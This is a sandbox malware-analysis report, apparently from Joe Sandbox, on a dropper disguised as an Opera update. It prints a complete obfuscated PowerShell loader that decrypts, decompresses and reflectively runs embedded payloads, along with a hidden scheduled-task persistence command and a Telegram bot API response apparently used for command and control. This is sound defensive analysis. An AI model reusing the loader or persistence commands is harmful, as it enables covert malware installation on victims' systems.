2024-08-15 06:09:23 UTC	516	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 31 31 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 30 31 34 33 34 30 32 31 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 62 65 6c 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 69 61 6d 72 65 62 65 6c 37 37 37 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 31 30 30 32 32 33 33 32 37 38 39 30 36 2c 22 74 69 74 6c 65 22 3a 22 5c 75 64 38 33 35 5c 75 64 63 37 37 5c 75 64 38 33 35 5c 75 64 63 39 30 5c 75 64 38 33 35 5c 75 64 63 39 38 5c 75 64 38 33 35 5c 75 64 63 38 36 5c 75 64 38 33 35 5c 75 64 63 39 33 5c 75 64 38 33 35 5c 75 64 63 38 37 5c 75 64 38 33 35 5c 75 64 63 39 36 5c 75 64 38 33 35 Data Ascii: {"ok":true,"result":{"message_id":1117,"from":{"id":7014340212,"is_bot":true,"first_name":"Rebel","username":"iamrebel777_bot"},"chat":{"id":-1002233278906,"title":"\ud835\udc77\ud835\udc90\ud835\udc98\ud835\udc86\ud835\udc93\ud835\udc87\ud835\udc96\ud835

Target ID:	0
Start time:	02:08:58
Start date:	15/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff78ca60000
File size:	218'624 bytes
MD5 hash:	BD315453D1C70B1683863D8709E7A3B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:08:58
Start date:	15/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c "Opera_Update.bat"
Imagebase:	0x7ff7e5040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:08:58
Start date:	15/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:08:59
Start date:	15/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Imagebase:	0x7ff7e5040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:08:59
Start date:	15/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:09:02
Start date:	15/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:09:02
Start date:	15/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:09:06
Start date:	15/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs"
Imagebase:	0x7ff6e1b10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:09:10
Start date:	15/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs"
Imagebase:	0x7ff6e1b10000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:09:10
Start date:	15/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" "
Imagebase:	0x7ff7e5040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:09:10
Start date:	15/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:09:12
Start date:	15/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Roaming\Windows_Log_414.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Imagebase:	0x7ff7e5040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:09:12
Start date:	15/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:09:14
Start date:	15/08/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff6e6b90000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	28.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.2%
Total number of Nodes:	909
Total number of Limit Nodes:	49

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF78CA63E4C Relevance: 54.6, APIs: 18, Strings: 13, Instructions: 360
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF78CA63EDC
CompareStringA.KERNEL32 ref: 00007FF78CA63FA3

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

CompareStringA.KERNEL32 ref: 00007FF78CA64095
GetProcAddress.KERNEL32 ref: 00007FF78CA6412B
FreeLibrary.KERNEL32 ref: 00007FF78CA641F6
LocalFree.KERNEL32 ref: 00007FF78CA64220
FreeLibrary.KERNEL32 ref: 00007FF78CA6423D
LocalFree.KERNEL32 ref: 00007FF78CA64246
FreeLibrary.KERNEL32 ref: 00007FF78CA642A4
LocalFree.KERNEL32 ref: 00007FF78CA642AF
GetLastError.KERNEL32 ref: 00007FF78CA642B5
LocalFree.KERNEL32 ref: 00007FF78CA6431D
RegOpenKeyExA.ADVAPI32 ref: 00007FF78CA6436D
RegQueryValueExA.ADVAPI32 ref: 00007FF78CA643AC
memset.MSVCRT ref: 00007FF78CA643CC
GetSystemDirectoryA.KERNEL32 ref: 00007FF78CA643DB
RegSetValueExA.ADVAPI32 ref: 00007FF78CA64458
RegCloseKey.ADVAPI32 ref: 00007FF78CA64463

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA6415C, 00007FF78CA643FB
REBOOT, xrefs: 00007FF78CA63EAB
advpack.dll, xrefs: 00007FF78CA642D9
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF78CA6435F
DoInfInstall, xrefs: 00007FF78CA64121, 00007FF78CA64283
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF78CA64411
RUNPROGRAM, xrefs: 00007FF78CA63FC6
wextract_cleanup0, xrefs: 00007FF78CA6438A, 00007FF78CA64441
USRQCMD, xrefs: 00007FF78CA63F6B
SHOWWINDOW, xrefs: 00007FF78CA63F00
POSTRUNPROGRAM, xrefs: 00007FF78CA64056
<None>, xrefs: 00007FF78CA63F85, 00007FF78CA64077
ADMQCMD, xrefs: 00007FF78CA63F5A

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindStringValuememset$AddressCloseDirectoryErrorLastLoadLockOpenProcQuerySizeofSystemmemcpy_s
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 4182703008-3510600114
Opcode ID: 5417215da9b2918ff29d6496e44f106f234711c252a99e657cf1e9d14fa18132
Instruction ID: fcf9002df5306db0086e67cd02c6466ba3d28c97525ac963b1a8e7f9979336d0
Opcode Fuzzy Hash: 5417215da9b2918ff29d6496e44f106f234711c252a99e657cf1e9d14fa18132
Instruction Fuzzy Hash: 86F17175A0C64286F760EB25F840EBAB7A0FB54B48FE00136DA4D53AA4DF3DE545C722

Function 00007FF78CA61C38 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 169
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF78CA61C7A
memset.MSVCRT ref: 00007FF78CA61C88
RegCreateKeyExA.KERNELBASE ref: 00007FF78CA61CCA

Part of subcall function 00007FF78CA61144: _vsnprintf.MSVCRT ref: 00007FF78CA61181

RegQueryValueExA.KERNELBASE ref: 00007FF78CA61D19
RegCloseKey.ADVAPI32 ref: 00007FF78CA61D32
GetSystemDirectoryA.KERNEL32 ref: 00007FF78CA61D4A
LoadLibraryA.KERNELBASE ref: 00007FF78CA61D66
GetProcAddress.KERNEL32 ref: 00007FF78CA61D82
FreeLibrary.KERNELBASE ref: 00007FF78CA61D95
GetSystemDirectoryA.KERNEL32 ref: 00007FF78CA61DAB
LocalAlloc.KERNEL32 ref: 00007FF78CA61E01
GetModuleFileNameA.KERNEL32 ref: 00007FF78CA61E3E
RegCloseKey.ADVAPI32 ref: 00007FF78CA61E4D
RegSetValueExA.KERNELBASE ref: 00007FF78CA61EB4
RegCloseKey.KERNELBASE ref: 00007FF78CA61EBF
LocalFree.KERNEL32 ref: 00007FF78CA61EC8

Strings

rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF78CA61E75
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA61DCC
wextract_cleanup0, xrefs: 00007FF78CA61CEC, 00007FF78CA61D07, 00007FF78CA61E99
advpack.dll, xrefs: 00007FF78CA61D50
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF78CA61C9A
%s /D:%s, xrefs: 00007FF78CA61E60
DelNodeRunDLL32, xrefs: 00007FF78CA61D78
wextract_cleanup%d, xrefs: 00007FF78CA61CE0

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3726664654
Opcode ID: c918c3741f8081852428a954488d33e3bc1eed64e202b9aa7f62eab9bf8d0600
Instruction ID: 3305a02efb1e067b37729f9f5ff89f6d2c7e4d8c5445b541cef185c581f1c8de
Opcode Fuzzy Hash: c918c3741f8081852428a954488d33e3bc1eed64e202b9aa7f62eab9bf8d0600
Instruction Fuzzy Hash: 16718172B18B4282EB50AF61F850EBAB7A4FB84B94FA01135DA4D53B94DF3CE505C711

Function 00007FF78CA615F8 Relevance: 37.1, APIs: 10, Strings: 11, Instructions: 340
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32 ref: 00007FF78CA617AC
GetFileAttributesA.KERNEL32 ref: 00007FF78CA617C0
LocalAlloc.KERNEL32 ref: 00007FF78CA61827
GetPrivateProfileIntA.KERNEL32 ref: 00007FF78CA6185E
GetPrivateProfileStringA.KERNEL32 ref: 00007FF78CA6189B
GetShortPathNameA.KERNEL32 ref: 00007FF78CA61902

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

Strings

Reboot, xrefs: 00007FF78CA6184D
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA61724
Command.com /c %s, xrefs: 00007FF78CA619AA
setupx.dll, xrefs: 00007FF78CA618FB
DefaultInstall, xrefs: 00007FF78CA6183E
.INF, xrefs: 00007FF78CA6178E
setupapi.dll, xrefs: 00007FF78CA6190A
Version, xrefs: 00007FF78CA6188C
.BAT, xrefs: 00007FF78CA61981
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00007FF78CA6191E
AdvancedINF, xrefs: 00007FF78CA61885

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: .BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3544074861
Opcode ID: a793dbcf6d60e1086112152d955568a691023bac3085031e145d8b0cee9e5232
Instruction ID: b52a461e5fad4b5727029fbf1b5d3df9fee08bfc67a532d305ad1a1b80520762
Opcode Fuzzy Hash: a793dbcf6d60e1086112152d955568a691023bac3085031e145d8b0cee9e5232
Instruction Fuzzy Hash: 2EE1CF66A0878245EB51AFA4F440EEABBA0FB45784FE40136DB4D03B95DF3DE509C321

Function 00007FF78CA66028 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 289
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64CE8
Part of subcall function 00007FF78CA64CC0: SizeofResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64CF3
Part of subcall function 00007FF78CA64CC0: FindResourceA.KERNEL32 ref: 00007FF78CA64D13
Part of subcall function 00007FF78CA64CC0: LoadResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D1E
Part of subcall function 00007FF78CA64CC0: LockResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D27
Part of subcall function 00007FF78CA64CC0: memcpy_s.MSVCRT ref: 00007FF78CA64D40
Part of subcall function 00007FF78CA64CC0: FreeResource.KERNEL32(?,?,00000000,00007FF78CA62BB3), ref: 00007FF78CA64D49

LocalAlloc.KERNEL32 ref: 00007FF78CA66074
GetLastError.KERNEL32 ref: 00007FF78CA660A2
lstrcmpA.KERNEL32 ref: 00007FF78CA66116
LocalFree.KERNEL32 ref: 00007FF78CA66137
LocalFree.KERNEL32 ref: 00007FF78CA660FA

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

GetTempPathA.KERNEL32 ref: 00007FF78CA661BD
GetDriveTypeA.KERNEL32 ref: 00007FF78CA66253
GetFileAttributesA.KERNEL32 ref: 00007FF78CA6626A
GetDiskFreeSpaceA.KERNEL32 ref: 00007FF78CA662BC
MulDiv.KERNEL32 ref: 00007FF78CA662D9
GetWindowsDirectoryA.KERNEL32 ref: 00007FF78CA66347
GetFileAttributesA.KERNEL32 ref: 00007FF78CA66366
CreateDirectoryA.KERNEL32 ref: 00007FF78CA66378
SetFileAttributesA.KERNEL32 ref: 00007FF78CA663A2

Part of subcall function 00007FF78CA67304: FindResourceA.KERNEL32 ref: 00007FF78CA6732E
Part of subcall function 00007FF78CA67304: LoadResource.KERNEL32 ref: 00007FF78CA6733F
Part of subcall function 00007FF78CA67304: DialogBoxIndirectParamA.USER32 ref: 00007FF78CA6736F
Part of subcall function 00007FF78CA67304: FreeResource.KERNEL32 ref: 00007FF78CA6737B

GetWindowsDirectoryA.KERNEL32 ref: 00007FF78CA66408

Strings

RUNPROGRAM, xrefs: 00007FF78CA6605C, 00007FF78CA660C6
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA661AA
A:\, xrefs: 00007FF78CA66202
<None>, xrefs: 00007FF78CA6610C
Z, xrefs: 00007FF78CA66243
msdownld.tmp, xrefs: 00007FF78CA6634D

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$Free$AttributesDirectoryFileFindLoadLocal$Windows$AllocCreateDialogDiskDriveErrorIndirectLastLockMessageParamPathSizeofSpaceStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 3973824516-2740620654
Opcode ID: 9c3354b94b7b796a78583e6e0ec85fe5c451f8974544e8fea021b2fe829697d1
Instruction ID: 2fe839fce7ba536550a7c666fa2c6a14dd6e38adb92095c5359e3761f65ded17
Opcode Fuzzy Hash: 9c3354b94b7b796a78583e6e0ec85fe5c451f8974544e8fea021b2fe829697d1
Instruction Fuzzy Hash: 75C1A262A1C68282EB50AB21F450EBAF7A4FF95744FF04035DA4E53A95DF3DE805C722

Function 00007FF78CA665B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 216
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32 ref: 00007FF78CA665FA
SetCurrentDirectoryA.KERNELBASE ref: 00007FF78CA66603
GetLastError.KERNEL32 ref: 00007FF78CA6662F
GetDiskFreeSpaceA.KERNELBASE ref: 00007FF78CA6667B
MulDiv.KERNEL32 ref: 00007FF78CA666A1
GetVolumeInformationA.KERNELBASE ref: 00007FF78CA666D9
memset.MSVCRT ref: 00007FF78CA666F1
GetLastError.KERNEL32 ref: 00007FF78CA666F6
GetLastError.KERNEL32 ref: 00007FF78CA66710
FormatMessageA.KERNEL32 ref: 00007FF78CA66735
SetCurrentDirectoryA.KERNEL32 ref: 00007FF78CA668DA

Part of subcall function 00007FF78CA64A70: LoadStringA.USER32 ref: 00007FF78CA64B04
Part of subcall function 00007FF78CA64A70: MessageBoxA.USER32 ref: 00007FF78CA64B3E

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA665C6

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
